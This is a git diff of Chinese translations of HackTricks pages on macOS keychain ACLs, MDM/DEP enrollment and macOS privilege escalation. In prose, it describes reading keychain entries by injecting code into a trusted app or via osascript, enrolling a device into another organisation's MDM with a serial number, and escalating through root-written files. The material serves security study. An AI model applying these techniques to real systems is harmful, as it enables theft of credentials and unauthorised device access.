* 只有**创建应用程序**(或明确添加的任何其他应用程序)可以导出/解密(无需提示用户)。
|
||||
* 所有应用程序都可以查看完整性检查。
|
||||
* 没有应用程序可以更改ACLs。
|
||||
* **partitionID**设置为**`teamid:[teamID here]`**。
|
||||
|
||||
## 访问钥匙串
|
||||
|
||||
|
@ -100,7 +101,7 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
|
|||
|
||||
* API **`SecItemCopyMatching`** 提供每个条目的信息,使用时可以设置一些属性:
|
||||
* **`kSecReturnData`**:如果为true,将尝试解密数据(设置为false可避免潜在的弹出窗口)
|
||||
* **`kSecReturnRef`**:还可以获取密钥链条目的引用(如果后来发现可以在无弹出窗口的情况下解密,则设置为true)
|
||||
* **`kSecReturnRef`**:还可以获取密钥链条目的引用(如果后来发现可以无需弹出窗口解密,则设置为true)
|
||||
* **`kSecReturnAttributes`**:获取条目的元数据
|
||||
* **`kSecMatchLimit`**:返回多少结果
|
||||
* **`kSecClass`**:密钥链条目的类型
|
||||
|
@ -123,17 +124,17 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
|
|||
|
||||
* 如果列出了**1个或更多受信任的**应用程序:
|
||||
* 需要适当的**授权**(**`Nil`**,或者是授权访问机密信息的应用程序允许列表的一部分)
|
||||
* 需要代码签名与**PartitionID**匹配
|
||||
* 需要代码签名与一个**受信任的应用程序**匹配(或者是正确的KeychainAccessGroup的成员)
|
||||
* 需要代码签名匹配**PartitionID**
|
||||
* 需要代码签名与一个**受信任应用程序**匹配(或者是正确的KeychainAccessGroup的成员)
|
||||
* 如果**所有应用程序都受信任**:
|
||||
* 需要适当的**授权**
|
||||
* 需要代码签名与**PartitionID**匹配
|
||||
* 需要代码签名匹配**PartitionID**
|
||||
* 如果**没有PartitionID**,则不需要这个
|
||||
|
||||
{% hint style="danger" %}
|
||||
因此,如果列出了**1个应用程序**,则需要在该应用程序中**注入代码**。
|
||||
因此,如果列出了**1个应用程序**,则需要**在该应用程序中注入代码**。
|
||||
|
||||
如果**partitionID**中指定了**apple**,则可以使用**`osascript`**访问它,因此任何信任带有apple的partitionID中的所有应用程序的内容。**`Python`**也可用于此目的。
|
||||
如果**partitionID**中指定了**apple**,则可以使用**`osascript`**访问它,因此任何信任partitionID中带有apple的所有应用程序的内容。也可以使用**`Python`**实现这一点。
|
||||
{% endhint %}
|
||||
|
||||
### 两个额外属性
|
||||
|
@ -154,20 +155,21 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
|
|||
|
||||
WhiteIntel的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以在以下网址检查他们的网站并尝试他们的引擎,**免费**:
|
||||
您可以在以下网址检查他们的网站并尝试他们的引擎,**免费**使用:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# macOS MDM
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**了解macOS MDM的内容:**
|
||||
**了解 macOS MDM 的内容:**
|
||||
|
||||
* [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
|
||||
* [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
|
||||
|
@ -23,72 +24,72 @@
|
|||
|
||||
### **MDM(移动设备管理)概述**
|
||||
|
||||
[移动设备管理](https://en.wikipedia.org/wiki/Mobile\_device\_management)(MDM)用于管理各种终端用户设备,如智能手机、笔记本电脑和平板电脑。特别是对于苹果的平台(iOS、macOS、tvOS),它涉及一组专门的功能、API和实践。MDM的运作依赖于一个兼容的MDM服务器,该服务器可以是商业可用的或开源的,并且必须支持[MDM协议](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。关键点包括:
|
||||
[移动设备管理](https://en.wikipedia.org/wiki/Mobile\_device\_management)(MDM)用于管理智能手机、笔记本电脑和平板电脑等多种终端用户设备。特别是对于苹果的平台(iOS、macOS、tvOS),它涉及一组专门的功能、API 和实践。MDM 的运作依赖于兼容的 MDM 服务器,该服务器可以是商业可用的或开源的,并且必须支持[MDM 协议](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。关键点包括:
|
||||
|
||||
* 对设备的集中控制。
|
||||
* 依赖于遵循MDM协议的MDM服务器。
|
||||
* MDM服务器能够向设备发送各种命令,例如远程数据擦除或配置安装。
|
||||
* 依赖于遵循 MDM 协议的 MDM 服务器。
|
||||
* MDM 服务器能够向设备发送各种命令,例如远程数据擦除或配置安装。
|
||||
|
||||
### **DEP(设备注册计划)基础知识**
|
||||
|
||||
由苹果提供的[设备注册计划](https://www.apple.com/business/site/docs/DEP\_Guide.pdf)(DEP)通过为iOS、macOS和tvOS设备提供零触摸配置,简化了移动设备管理(MDM)的集成。DEP自动化了注册过程,使设备可以在开箱即用时投入运行,几乎不需要用户或管理干预。基本方面包括:
|
||||
由苹果提供的[设备注册计划](https://www.apple.com/business/site/docs/DEP\_Guide.pdf)(DEP)通过为 iOS、macOS 和 tvOS 设备提供零触摸配置,简化了移动设备管理(MDM)的集成。DEP 自动化了注册过程,使设备可以在开箱即用时运行,几乎不需要用户或管理员干预。基本方面包括:
|
||||
|
||||
* 使设备在初始激活时自动向预定义的MDM服务器注册。
|
||||
* 允许设备在初始激活时自动向预定义的 MDM 服务器注册。
|
||||
* 主要有利于全新设备,但也适用于正在重新配置的设备。
|
||||
* 简化设置,使设备迅速准备好供组织使用。
|
||||
|
||||
### **安全考虑**
|
||||
|
||||
需要注意的是,DEP提供的便捷注册方式虽然有利,但也可能带来安全风险。如果对MDM注册未充分执行保护措施,攻击者可能利用这一简化流程在组织的MDM服务器上注册其设备,伪装成公司设备。
|
||||
需要注意的是,DEP 提供的便捷注册方式虽然有利,但也可能带来安全风险。如果对 MDM 注册未充分执行保护措施,攻击者可能利用这一简化流程,在组织的 MDM 服务器上注册其设备,伪装成公司设备。
|
||||
|
||||
{% hint style="danger" %}
|
||||
**安全警报**:简化的DEP注册可能允许未经授权的设备在组织的MDM服务器上注册,如果没有适当的保护措施。
|
||||
**安全警报**:简化的 DEP 注册可能允许未经授权的设备在组织的 MDM 服务器上注册,如果没有适当的保护措施。
|
||||
{% endhint %}
|
||||
|
||||
### **SCEP(简单证书注册协议)是什么?**
|
||||
|
||||
* 一个相对较旧的协议,在TLS和HTTPS普及之前创建。
|
||||
* 一个相对古老的协议,在 TLS 和 HTTPS 广泛使用之前创建。
|
||||
* 为客户端提供了一种标准化的方式发送**证书签名请求**(CSR)以获得证书。客户端将要求服务器给他签名的证书。
|
||||
|
||||
### 什么是配置文件(也称为mobileconfigs)?
|
||||
### 什么是配置文件(也称为 mobileconfigs)?
|
||||
|
||||
* 苹果官方的**设置/强制系统配置**的方式。
|
||||
* 可以包含多个有效负载的文件格式。
|
||||
* 基于属性列表(XML类型)。
|
||||
* “可以签名和加密以验证其来源,确保其完整性,并保护其内容。”基础知识 — 第70页,iOS安全指南,2018年1月。
|
||||
* 基于属性列表(XML 类型)。
|
||||
* “可以签名和加密以验证其来源、确保其完整性并保护其内容。” 基础知识 — iOS 安全指南,2018 年 1 月,第 70 页。
|
||||
|
||||
## 协议
|
||||
|
||||
### MDM
|
||||
|
||||
* APNs(**苹果服务器**)+ RESTful API(**MDM** **供应商**服务器)的组合
|
||||
* **通信**发生在与**设备** **管理** **产品**相关的设备和服务器之间
|
||||
* 从MDM传递到设备的**命令以plist编码的字典**
|
||||
* 全部通过**HTTPS**。MDM服务器可以(通常)被固定。
|
||||
* 苹果授予MDM供应商一个**APNs证书**用于身份验证
|
||||
* 通信发生在与**设备** **管理** **产品**相关的设备和服务器之间
|
||||
* 从 MDM 传递到设备的**命令**以**plist 编码的字典**形式传递
|
||||
* 全部通过**HTTPS**。MDM 服务器可以(通常)被固定。
|
||||
* 苹果授予 MDM 供应商一个**APNs 证书**用于身份验证
|
||||
|
||||
### DEP
|
||||
|
||||
* **3个API**:1用于经销商,1用于MDM供应商,1用于设备身份(未记录):
|
||||
* 所谓的[DEP“云服务”API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。MDM服务器使用此API将DEP配置文件与特定设备关联。
|
||||
* [由苹果授权经销商使用的DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)用于注册设备,检查注册状态和检查交易状态。
|
||||
* 未记录的私有DEP API。苹果设备使用此API请求其DEP配置文件。在macOS上,`cloudconfigurationd`二进制文件负责通过此API进行通信。
|
||||
* 更现代化,基于**JSON**(与plist相比)
|
||||
* 苹果向MDM供应商授予一个**OAuth令牌**
|
||||
* **3 个 API**:1 用于经销商,1 用于 MDM 供应商,1 用于设备标识(未记录):
|
||||
* 所谓的[DEP “云服务” API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。MDM 服务器使用此 API 将 DEP 配置文件与特定设备关联。
|
||||
* [由苹果授权经销商使用的 DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) 用于注册设备、检查注册状态和检查交易状态。
|
||||
* 未记录的私有 DEP API。苹果设备使用此 API 请求其 DEP 配置文件。在 macOS 上,`cloudconfigurationd` 二进制文件负责通过此 API 进行通信。
|
||||
* 更现代化,基于**JSON**(与 plist 相比)
|
||||
* 苹果授予 MDM 供应商一个**OAuth 令牌**
|
||||
|
||||
**DEP“云服务”API**
|
||||
**DEP “云服务” API**
|
||||
|
||||
* RESTful
|
||||
* 从苹果同步设备记录到MDM服务器
|
||||
* 将“DEP配置文件”从MDM服务器同步到苹果(稍后由苹果传递给设备)
|
||||
* DEP“配置文件”包含:
|
||||
* MDM供应商服务器URL
|
||||
* 用于服务器URL的额外受信任证书(可选固定)
|
||||
* 从苹果同步设备记录到 MDM 服务器
|
||||
* 将“DEP 配置文件”从 MDM 服务器同步到苹果(稍后由苹果传递给设备)
|
||||
* DEP “配置文件”包含:
|
||||
* MDM 供应商服务器 URL
|
||||
* 用于服务器 URL 的额外受信任证书(可选固定)
|
||||
* 额外设置(例如在设置助手中跳过哪些屏幕)
|
||||
|
||||
## 序列号
|
||||
|
||||
2010年后生产的苹果设备通常具有**12个字符的字母数字**序列号,**前三位表示制造地点**,接下来的**两位表示**制造的**年份和周数**,接下来的**三位提供**一个**唯一标识符**,最后的**四位表示**型号号码。
|
||||
2010 年后制造的苹果设备通常具有**12 个字符的字母数字**序列号,**前三位表示制造地点**,接下来的**两位表示制造年份和周数**,接下来的**三位提供唯一标识符**,最后的**四位表示型号号码**。
|
||||
|
||||
{% content-ref url="macos-serial-number.md" %}
|
||||
[macos-serial-number.md](macos-serial-number.md)
|
||||
|
@ -96,43 +97,43 @@
|
|||
|
||||
## 注册和管理步骤
|
||||
|
||||
1. 创建设备记录(经销商,苹果):创建新设备的记录
|
||||
2. 分配设备记录(客户):将设备分配给MDM服务器
|
||||
3. 同步设备记录(MDM供应商):MDM同步设备记录并将DEP配置文件推送到苹果
|
||||
4. DEP签到(设备):设备获取其DEP配置文件
|
||||
5. 检索配置文件(设备)
|
||||
6. 安装配置文件(设备)a. 包括MDM、SCEP和根CA有效负载
|
||||
7. 发出MDM命令(设备)
|
||||
1. 设备记录创建(经销商,苹果):创建新设备的记录
|
||||
2. 设备记录分配(客户):将设备分配给 MDM 服务器
|
||||
3. 设备记录同步(MDM 供应商):MDM 同步设备记录并将 DEP 配置文件推送到苹果
|
||||
4. DEP 登记(设备):设备获取其 DEP 配置文件
|
||||
5. 配置文件检索(设备)
|
||||
6. 配置文件安装(设备)a. 包括 MDM、SCEP 和根 CA 负载
|
||||
7. MDM 命令发出(设备)
|
||||
|
||||
![](<../../../.gitbook/assets/image (694).png>)
|
||||
|
||||
文件`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd`导出的函数可以被视为注册过程的**高级“步骤”**。
|
||||
文件`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` 导出的函数可以被视为注册过程的**高级“步骤”**。
|
||||
### 步骤 4: DEP 检查 - 获取激活记录
|
||||
|
||||
这个过程发生在**用户第一次启动 Mac**(或完全擦除后)
|
||||
|
||||
![](<../../../.gitbook/assets/image (1044).png>)
|
||||
|
||||
或者执行 `sudo profiles show -type enrollment`
|
||||
或执行 `sudo profiles show -type enrollment`
|
||||
|
||||
* 确定设备是否启用了**DEP**
|
||||
* 激活记录是**DEP“配置文件”的内部名称**
|
||||
* 一旦设备连接到互联网,就会开始
|
||||
* 由**`CPFetchActivationRecord`** 驱动
|
||||
* 通过 XPC 由**`cloudconfigurationd`** 实现。**“设置助手”**(设备首次启动时)或**`profiles`**命令将**联系此守护程序**以检索激活记录。
|
||||
* 由**`CPFetchActivationRecord`**驱动
|
||||
* 通过 XPC 由**`cloudconfigurationd`**实现。**“设置助手”**(设备首次启动时)或**`profiles`**命令将**联系此守护程序**以检索激活记录。
|
||||
* LaunchDaemon(始终以 root 运行)
|
||||
|
||||
获取激活记录由**`MCTeslaConfigurationFetcher`**执行,该过程使用一种名为**Absinthe**的加密
|
||||
获取激活记录的过程由**`MCTeslaConfigurationFetcher`**执行,使用一种名为**Absinthe**的加密
|
||||
|
||||
1. 检索**证书**
|
||||
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
|
||||
2. 从证书初始化状态(**`NACInit`)
|
||||
2. 从证书**初始化**状态(**`NACInit`)
|
||||
1. 使用各种设备特定数据(例如**通过 `IOKit` 获取序列号**)
|
||||
3. 检索**会话密钥**
|
||||
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
|
||||
4. 建立会话(**`NACKeyEstablishment`**)
|
||||
4. 建立会话(**`NACKeyEstablishment`)
|
||||
5. 发送请求
|
||||
1. 发送 POST 请求到 [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile),发送数据 `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
||||
1. POST 到 [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) 发送数据 `{ "action": "RequestProfileConfiguration", "sn": "" }`
|
||||
2. JSON 负载使用 Absinthe 进行加密(**`NACSign`**)
|
||||
3. 所有请求均通过 HTTPs,使用内置根证书
|
||||
|
||||
|
@ -143,26 +144,26 @@
|
|||
* **url**:MDM 供应商主机的激活配置文件的 URL
|
||||
* **anchor-certs**:用作受信任锚点的 DER 证书数组
|
||||
|
||||
### **步骤 5: 获取配置文件**
|
||||
### **步骤 5: 检索配置文件**
|
||||
|
||||
![](<../../../.gitbook/assets/image (444).png>)
|
||||
|
||||
* 发送请求到**DEP 配置文件中提供的 URL**。
|
||||
* 如果提供,将使用**锚点证书**来**评估信任**。
|
||||
* 提醒:DEP 配置文件的**anchor\_certs** 属性
|
||||
* 提醒:DEP 配置文件的**anchor\_certs**属性
|
||||
* 请求是一个包含设备标识的简单 .plist
|
||||
* 例如:**UDID,OS 版本**。
|
||||
* 例如:**UDID、OS 版本**。
|
||||
* CMS 签名,DER 编码
|
||||
* 使用**设备身份证书(来自 APNS)**进行签名
|
||||
* **证书链**包括已过期的**Apple iPhone 设备 CA**
|
||||
* **证书链**包括已过期的**Apple iPhone Device CA**
|
||||
|
||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
|
||||
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
|
||||
|
||||
### 步骤 6: 配置文件安装
|
||||
|
||||
* 一旦检索到,**配置文件将存储在系统上**
|
||||
* 一旦检索到,**配置文件将存储在系统中**
|
||||
* 如果在**设置助手**中,此步骤将自动开始
|
||||
* 由**`CPInstallActivationProfile`** 驱动
|
||||
* 由**`CPInstallActivationProfile`**驱动
|
||||
* 通过 XPC 由 mdmclient 实现
|
||||
* LaunchDaemon(作为 root)或 LaunchAgent(作为用户),取决于上下文
|
||||
* 配置文件具有多个要安装的有效负载
|
||||
|
@ -178,12 +179,12 @@
|
|||
* `com.apple.security.scep`:用于向设备安全地提供**客户端证书**。
|
||||
* `com.apple.security.pem`:用于向设备的系统钥匙串**安装受信任的 CA 证书**。
|
||||
* 安装 MDM 有效负载相当于**文档中的 MDM 检查**
|
||||
* 有效负载包含关键属性:
|
||||
* 有效负载**包含关键属性**:
|
||||
*
|
||||
* MDM 检查 URL(**`CheckInURL`**)
|
||||
* MDM 命令轮询 URL(**`ServerURL`**)+ 触发它的 APNs 主题
|
||||
* 要安装 MDM 有效负载,将请求发送到**`CheckInURL`**
|
||||
* 在**`mdmclient`** 中实现
|
||||
* 由**`mdmclient`**实现
|
||||
* MDM 有效负载可能依赖于其他有效负载
|
||||
* 允许**请求固定到特定证书**:
|
||||
* 属性:**`CheckInURLPinningCertificateUUIDs`**
|
||||
|
@ -196,8 +197,15 @@
|
|||
### **步骤 7: 监听 MDM 命令**
|
||||
|
||||
在完成 MDM 检查后,供应商可以使用 APNs **发出推送通知**
|
||||
收到后,由**`mdmclient`** 处理
|
||||
为轮询 MDM 命令,将请求发送到 ServerURL
|
||||
收到后,由**`mdmclient`**处理
|
||||
为了轮询 MDM 命令,将请求发送到 ServerURL
|
||||
利用先前安装的 MDM 有效负载:
|
||||
**`ServerURLPinningCertificateUUIDs`** 用于固定请求
|
||||
**`IdentityCertificateUUID`** 用于 TLS 客户端证书
|
||||
**`ServerURLPinningCertificateUUIDs`**用于固定请求
|
||||
**`IdentityCertificateUUID`**用于 TLS 客户端证书
|
||||
|
||||
## 攻击
|
||||
|
||||
### 将设备注册到其他组织
|
||||
|
||||
如前所述,为了尝试将设备注册到一个组织中,只需要一个属于该组织的**序列号**。一旦设备注册,多个组织将在新设备上安装敏感数据:证书、应用程序、WiFi 密码、VPN 配置[等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
|
||||
因此,如果注册过程没有得到正确保护,这可能是攻击者的一个危险入口:
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS安全性与权限提升
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并实践GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -27,11 +28,11 @@
|
|||
**最新公告**\
|
||||
了解最新的赏金计划发布和重要平台更新
|
||||
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ,今天开始与顶尖黑客合作!
|
||||
|
||||
## 基本的MacOS
|
||||
|
||||
如果您对macOS不熟悉,应该从学习macOS的基础知识开始:
|
||||
如果您对macOS不熟悉,应该开始学习macOS的基础知识:
|
||||
|
||||
* 特殊的macOS **文件和权限:**
|
||||
|
||||
|
@ -64,7 +65,7 @@
|
|||
{% endcontent-ref %}
|
||||
|
||||
* **开源**的macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
* 要下载一个`tar.gz`,请将URL更改为[https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/),变为[https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
* 要下载一个`tar.gz`,请更改URL,例如将[https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/)更改为[https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
|
@ -74,7 +75,7 @@
|
|||
[macos-mdm](../macos-red-teaming/macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MacOS - 检查、调试和模糊处理
|
||||
### MacOS - 检查、调试和模糊化
|
||||
|
||||
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
|
||||
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
|
||||
|
@ -90,13 +91,13 @@
|
|||
|
||||
### 文件权限
|
||||
|
||||
如果**以root身份运行的进程写入**一个用户可以控制的文件,用户可能会滥用这一点来**提升权限**。\
|
||||
如果**以root身份运行的进程写入**一个可以被用户控制的文件,用户可以利用这一点来**提升权限**。\
|
||||
这可能发生在以下情况下:
|
||||
|
||||
* 使用的文件已由用户创建(由用户拥有)
|
||||
* 使用的文件已经被用户创建(由用户拥有)
|
||||
* 使用的文件可被用户写入,因为属于一个组
|
||||
* 使用的文件位于用户拥有的目录中(用户可以创建文件)
|
||||
* 使用的文件位于由root拥有但用户具有写入访问权限的目录中(用户可以创建文件)
|
||||
* 使用的文件位于root拥有但用户有写入权限的目录中(用户可以创建文件)
|
||||
|
||||
能够**创建一个将被root使用的文件**,允许用户**利用其内容**,甚至创建**符号链接/硬链接**将其指向另一个位置。
|
||||
|
||||
|
@ -106,7 +107,7 @@
|
|||
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 文件扩展名和URL协议应用程序处理程序
|
||||
### 文件扩展名和URL方案应用程序处理程序
|
||||
|
||||
通过文件扩展名注册的奇怪应用程序可能会被滥用,不同的应用程序可以注册以打开特定协议
|
||||
|
||||
|
@ -120,9 +121,9 @@
|
|||
|
||||
因此,想要成功地攻击macOS机器的攻击者将需要**提升其TCC权限**(甚至**绕过SIP**,取决于他的需求)。
|
||||
|
||||
这些权限通常以应用程序签名的**授权**形式给出,或者应用程序可能请求一些访问权限,**用户批准后**可以在**TCC数据库**中找到。进程可以获得这些权限的另一种方式是作为具有这些**权限的进程的子进程**,因为它们通常是**继承**的。
|
||||
这些权限通常以应用程序签名的**授权**形式给出,或者应用程序可能请求一些访问权限,**用户批准后**这些权限可以在**TCC数据库**中找到。进程可以获得这些权限的另一种方式是作为具有这些**权限的进程的子进程**,因为它们通常会被**继承**。
|
||||
|
||||
点击以下链接找到不同的方式来[**提升TCC权限**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses),[**绕过TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/),以及过去如何[**绕过SIP**](macos-security-protections/macos-sip.md#sip-bypasses)。
|
||||
点击以下链接查找不同的方式来[**提升TCC权限**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses),[**绕过TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/),以及过去如何[**绕过SIP**](macos-security-protections/macos-sip.md#sip-bypasses)。
|
||||
|
||||
## macOS传统权限提升
|
||||
|
||||
|
@ -152,18 +153,19 @@
|
|||
**最新公告**\
|
||||
